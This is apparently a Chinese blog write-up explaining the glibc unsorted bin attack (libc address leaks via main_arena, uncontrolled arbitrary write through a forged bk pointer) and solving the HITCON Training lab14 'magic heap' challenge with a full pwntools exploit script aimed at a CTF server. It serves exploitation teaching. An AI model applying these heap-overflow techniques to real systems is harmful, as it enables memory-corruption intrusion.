介绍
概述
unsorted bin在堆题中常用于泄露libc地址,通过unsorted bin可以向任意一个地址写入一个不可控的大数字,使用前提是需要能够控制unsorted bin中chunk的bk指针。
下面介绍原理前先复习下有关unsorted bin的知识。
unsorted bin使用先入先出的算法存储chunk,因为它只有一个双链表,所以存储chunk时不像其他bins按照chunk的size有序存储,它可以存储。glibc2.26之前unsorted bin有类似缓存的作用。
free chunk时不与top chunk相邻且size如果大于0x80(64位机器)会优先将chunk放入unsorted bin中,malloc_consolidate时会将合并的chunk放入unsorted bin中。
malloc chunk时如果fastbin中没有合适的chunk,会先去unsorted bin中寻找chunk,如果在unsorted bin中能找到合适的chunk会返回chunk,如果不合适但unsorted bin中有chunk大于要malloc的chunk会将unsorted bin中的chunk切割下来分配给malloc的chunk,剩下的chunk如果大于MINSIZE会放入chunk,unsorted bin中找不到能够分配的chunk之后才去top chunk切割chunk,同时会将unsorted bin中的chunk放入small bin和large bin中。
利用
泄露libc基地址
如果unsorted bin中只有一个chunk的话,chunk的fd、bk指针都指向main_arena+偏移:
利用一个uaf漏洞可以打印出来main_arena+偏移的地址,另外因为main_arena在libc的.data段是固定的,所以可以通过ida(定位malloc_trim函数查找main_arena地址)等找到main_arena在libc上的地址,然后利用泄露出来的main_arena+偏移减去偏移(这里是96)和main_arena在libc中的地址即可获得libc的基地址,上图的偏移是96,一般64位机器的偏移量是88,32位机器是44,每个libc的偏移是固定的,熟悉后获得main_arena的地址后直接减去固定的偏移即是libc基地址。
任意地址写
这里的任意地址写的确是任意地址写,只是写入的内容不可控。
unsorted bin中没有chunk时unsorted bin的fd和bk指针都指向prev_size,当放入一个chunk后结构时这样:
如上图main_arena+96可以看做bin的prev_size,main_arena+112是bin的fd指针,main_arena+120是bin的bk指针,正好main_arena+112和main_arena+128都指向chunk的prev_size处0x555555757680。
malloc.c中有两行关于unsorted bin的代码,在malloc unsorted bin中的chunk时使用,能够完成任意地址写也是使用这两行代码,具体如何利用后面会说明:
先利用其他漏洞使chunk的bk指针指向目的地址-0x10的地址,此时的结构就是:
再malloc unsorted bin中的chunk。现在解释下前面的2行代码的作用,第一行代码在unsorted bin中的chunk被malloc时使bin的bk指针指向目的地址,第二行代码使目的地址-0x10指向bin。这个过程中因为chunk被malloc出去了,unsorted bin会把目的地址看作chunk,此时的目的地址-0x10处会当做fd指针指向unsorted bin的prev_size地址处,fd即目的地址-0x10会保存prev_size的地址(prev_size的地址特别大但不可控),在这个过程中没有检查目的地址-0x18。
malloc之后的结构是:
此方法因为局限性太大一般多与其他技术配合使用,如与fastbin attack配合使用,修改global_max_fast全局变量,使其变的特别大,之后申请的chunk基本都属于fast bin,就可以使用fastbin attack完成攻击。再或者修改_IO_list_all伪造_IO_FILE进行攻击。
例子
本来想找个修改global_max_fast的例题讲解但没找到题,就以HITCON Training lab14 magic heap为例介绍下吧。
直接放exp后门介绍作用:
from pwn import *
p = remote('node3.buuoj.cn',29203)
def create(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def edit(idx, size, content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def delete(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
create(0x30, "aaaa")
create(0x80, "bbbb")
create(0x30, "cccc")
delete(1)
target = 0x6020c0 - 0x10
edit(0, 0x50, b"a" * 0x30 + p64(0) + p64(0x91) + p64(0) + p64(target))
create(0x80, "aaaa")
p.recvuntil(":")
p.sendline("4869")
p.interactive()
分析
checksec:
main:
main函数中有一个判断会触发后门:
菜单:
只有3个选择,create、edit和delete。
create:
最多能创建10个chunk,chunk的size不做限制。
edit:
先输入一个size再向chunk中输入内容,并且输入的size大小不做限制,说明可以产生堆溢出。
delete:
free chunk后置0没有uaf漏洞。
思路
上面的分析中可以发现本题非常简单,只需要使magic>0x1305触发后门即可获得flag,并且没有开PIE,magic的内存地址直接在ida中找到。
首先分配3个chunk,使用第一个分配的chunk chunk1溢出chunk2的bk指针,使其指向目的地址,chunk3为了在free chunk2不会与top chunk合并。
create(0x30, "aaaa")
create(0x80, "bbbb")
create(0x30, "cccc")
delete(1)
然后修改magic的值,通过chunk1溢出chunk2,修改chunk2的bk指针指向magic-0x10处,之所以是magic-0x10是因为前面后门修改的是被看做fd指针的地址,减去0x10当做prev_size和size,之后再申请chunk1触发unsorted bin attack使magic写入unsorted bin的地址。
target = 0x6020c0 - 0x10
edit(0, 0x50, b"a" * 0x30 + p64(0) + p64(0x91) + p64(0) + p64(target))
create(0x80, "aaaa")
再按照程序逻辑输入4869去使程序判断magic>0x1305触发后门交互即可:
p.recvuntil(":")
p.sendline("4869")
p.interactive()
小结
这次发现学习或者总结了新技术后必须去做一道合适的题加深理解,一定要自己亲手动手调试。
参考
https://wiki.x10sec.org/pwn/linux/glibc-heap/unsorted_bin_attack-zh/
https://xz.aliyun.com/t/7251#toc-7
相关推荐: CVE-2021-26900 Win32k漏洞的提权
译文声明 本文来自https://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation-via-a-use-after-free-vulnerability-in…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论